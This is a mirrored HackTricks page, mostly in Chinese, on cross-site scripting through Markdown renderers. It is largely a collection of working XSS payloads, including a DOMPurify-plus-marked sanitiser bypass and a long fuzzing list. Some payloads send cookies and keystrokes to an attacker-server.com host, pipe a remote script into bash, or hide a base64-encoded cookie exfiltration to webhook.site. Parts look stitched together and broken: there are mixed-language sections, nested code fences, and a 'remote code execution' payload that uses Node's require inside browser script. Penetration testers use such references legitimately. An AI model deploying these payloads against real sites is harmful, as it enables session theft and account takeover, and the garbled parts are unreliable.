mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-08 11:18:52 +00:00
230 lines
15 KiB
Markdown
230 lines
15 KiB
Markdown
# Markdown中的XSS攻击
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
如果你有机会在markdown中注入代码，有几种选项可以触发XSS攻击，当代码被解释时。
|
||
|
||
### HTML标签
|
||
|
||
在markdown中触发XSS攻击最常见的方法是注入执行javascript的常见HTML标签，因为几个markdown解释器也会接受HTML。
|
||
```html
|
||
<!-- XSS with regular tags -->
|
||
<script>alert(1)</script>
|
||
<img src=x onerror=alert(1) />
|
||
```
|
||
您可以在[hacktricks的主要XSS页面](./)中找到更多示例。
|
||
|
||
### JavaScript链接
|
||
|
||
如果HTML标签不可用，您可以尝试使用markdown语法进行操作：
|
||
```html
|
||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||
[a](javascript:prompt(document.cookie))
|
||
|
||
<!-- Other links attacks with some bypasses -->
|
||
[Basic](javascript:alert('Basic'))
|
||
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
|
||
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
|
||
[URL](javascript://www.google.com%0Aalert('URL'))
|
||
[In Quotes]('javascript:alert("InQuotes")')
|
||
[a](j a v a s c r i p t:prompt(document.cookie))
|
||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[a](javascript:window.onerror=alert;throw%201)
|
||
```
|
||
### Img事件语法滥用
|
||
|
||
The `img` tag in HTML allows the inclusion of images in a webpage. However, it also supports an `onerror` event attribute that can be exploited for cross-site scripting (XSS) attacks.
|
||
|
||
By injecting malicious code into the `onerror` attribute, an attacker can execute arbitrary JavaScript code when the image fails to load. This can be used to steal sensitive information, perform phishing attacks, or deface the website.
|
||
|
||
To exploit this vulnerability, an attacker can craft a URL that includes the payload within the `onerror` attribute. When the image fails to load, the payload will be executed.
|
||
|
||
For example, consider the following code:
|
||
|
||
```html
|
||
<img src="https://example.com/image.jpg" onerror="alert('XSS payload')">
|
||
```
|
||
|
||
In this case, if the image fails to load, the `alert` function will be executed, displaying the message "XSS payload" to the user.
|
||
|
||
To prevent this type of attack, it is important to properly validate and sanitize user input, especially when it is used to generate dynamic content on a webpage. Additionally, Content Security Policy (CSP) headers can be implemented to restrict the execution of inline scripts and mitigate the risk of XSS attacks.
|
||
```markdown
|
||
![Uh oh...]("onerror="alert('XSS'))
|
||
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
|
||
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
|
||
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
|
||
```
|
||
### HTML Sanitiser Markdown Bypass
|
||
|
||
以下代码是对HTML输入进行**清理**，然后将其传递给markdown解析器，从而可以通过Markdown和DOMPurify之间的误解来触发XSS。
|
||
```html
|
||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
|
||
<script>
|
||
const qs = new URLSearchParams(location.search);
|
||
if (qs.get("content")?.length > 0) {
|
||
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
|
||
}
|
||
</script>
|
||
```
|
||
负载示例：
|
||
|
||
```markdown
|
||
# Alert Payload
|
||
|
||
This payload will display an alert box with the message "XSS Attack".
|
||
|
||
```html
|
||
<script>alert("XSS Attack");</script>
|
||
```
|
||
|
||
# Cookie Theft Payload
|
||
|
||
This payload will steal the user's cookies and send them to an attacker-controlled server.
|
||
|
||
```html
|
||
<script>document.location='http://attacker-server.com/steal.php?cookie='+document.cookie;</script>
|
||
```
|
||
|
||
# Keylogger Payload
|
||
|
||
This payload will log all keystrokes made by the user and send them to an attacker-controlled server.
|
||
|
||
```html
|
||
<script>document.onkeydown=function(e){e=e||window.event;var key=e.keyCode||e.which;var char=String.fromCharCode(key);new Image().src='http://attacker-server.com/log.php?k='+char;}</script>
|
||
```
|
||
|
||
# Remote Code Execution Payload
|
||
|
||
This payload will execute arbitrary code on the victim's machine.
|
||
|
||
```html
|
||
<script>require('child_process').exec('curl http://attacker-server.com/malicious-script.sh | bash');</script>
|
||
```
|
||
|
||
# Phishing Payload
|
||
|
||
This payload will redirect the user to a phishing page that looks like a legitimate website.
|
||
|
||
```html
|
||
<script>document.location='http://attacker-server.com/phishing-page.html';</script>
|
||
```
|
||
```
|
||
```html
|
||
<div id="1
|
||
|
||
//)">
|
||
-----------------------------------------------
|
||
<a title="a
|
||
|
||
<img src=x onerror=alert(1)>">yep</a>
|
||
------------------------------------------------
|
||
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
|
||
----------------------------------------------
|
||
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
|
||
----------------------------------------------
|
||
`<p x="`<img src=x onerror=alert(1)>"></p>
|
||
```
|
||
### Fuzzing（模糊测试）
|
||
|
||
Fuzzing（模糊测试）是一种自动化的测试技术，用于发现应用程序中的漏洞。它通过向目标应用程序输入大量的随机、无效或异常数据，来测试应用程序的鲁棒性和安全性。Fuzzing（模糊测试）可以帮助发现各种漏洞，包括跨站脚本攻击（XSS）。
|
||
|
||
在Web应用程序中，XSS是一种常见的安全漏洞，攻击者可以通过注入恶意脚本来利用该漏洞。为了发现XSS漏洞，可以使用Fuzzing（模糊测试）技术来模拟各种输入情况，包括特殊字符、HTML标签和JavaScript代码。通过观察应用程序的响应，可以确定是否存在XSS漏洞。
|
||
|
||
Fuzzing（模糊测试）是一种强大的工具，可以帮助发现应用程序中的安全漏洞。然而，它并不能保证找到所有的漏洞，因此在进行Fuzzing（模糊测试）时，还应该结合其他测试技术和安全最佳实践来提高应用程序的安全性。
|
||
```html
|
||
<!--
|
||
Fuzzing examples from
|
||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||
-->
|
||
|
||
[a](javascript:prompt(document.cookie))
|
||
[a](j a v a s c r i p t:prompt(document.cookie))
|
||
)\
|
||
<javascript:prompt(document.cookie)>
|
||
<javascript:alert('XSS')>
|
||
\
|
||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[a](javascript:alert('XSS'))
|
||
\
|
||
[citelol]: (javascript:prompt(document.cookie))
|
||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[test](javascript://%0d%0aprompt(1))
|
||
[test](javascript://%0d%0aprompt(1);com)
|
||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[clickme](vbscript:alert(document.domain))
|
||
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/哦%20不！/.source));return(false);//
|
||
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
|
||
[text](http://danlec.com " [@danlec](/danlec) ")
|
||
[a](javascript:this;alert(1))
|
||
[a](javascript:this;alert(1))
|
||
[a](javascript:this;alert(1))
|
||
[a](Javascript:alert(1))
|
||
[a](Javas%26%2399;ript:alert(1))
|
||
[a](javascript:alert(1))
|
||
[a](javascript:confirm(1)
|
||
[a](javascript://www.google.com%0Aprompt(1))
|
||
[a](javascript://%0d%0aconfirm(1);com)
|
||
[a](javascript:window.onerror=confirm;throw%201)
|
||
[a](javascript:alert(document.domain))
|
||
[a](javascript://www.google.com%0Aalert(1))
|
||
[a]('javascript:alert("1")')
|
||
[a](JaVaScRiPt:alert(1))
|
||
![a](https://www.google.com/image.png"onload="alert(1))
|
||
![a]("onerror="alert(1))
|
||
</http://<?php\><\h1\><script:script>confirm(2)
|
||
[XSS](.alert(1);)
|
||
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
|
||
[ ](http://a?p=[[/onclick=alert(0) .]])
|
||
[a](javascript:new%20Function`al\ert\`1\``;)
|
||
[XSS](javascript:prompt(document.cookie))
|
||
[XSS](j a v a s c r i p t:prompt(document.cookie))
|
||
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[XSS](javascript:alert('XSS'))
|
||
[XSS]: (javascript:prompt(document.cookie))
|
||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[XSS](javascript://%0d%0aprompt(1))
|
||
[XSS](javascript://%0d%0aprompt(1);com)
|
||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
||
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[XSS](vbscript:alert(document.domain))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](Javascript:alert(1))
|
||
[XSS](Javas%26%2399;ript:alert(1))
|
||
[XSS](javascript:alert(1))
|
||
[XSS](javascript:confirm(1)
|
||
[XSS](javascript://www.google.com%0Aprompt(1))
|
||
[XSS](javascript://%0d%0aconfirm(1);com)
|
||
[XSS](javascript:window.onerror=confirm;throw%201)
|
||
[XSS](<28>javascript:alert(document.domain))
|
||
)\
|
||
\
|
||
\
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|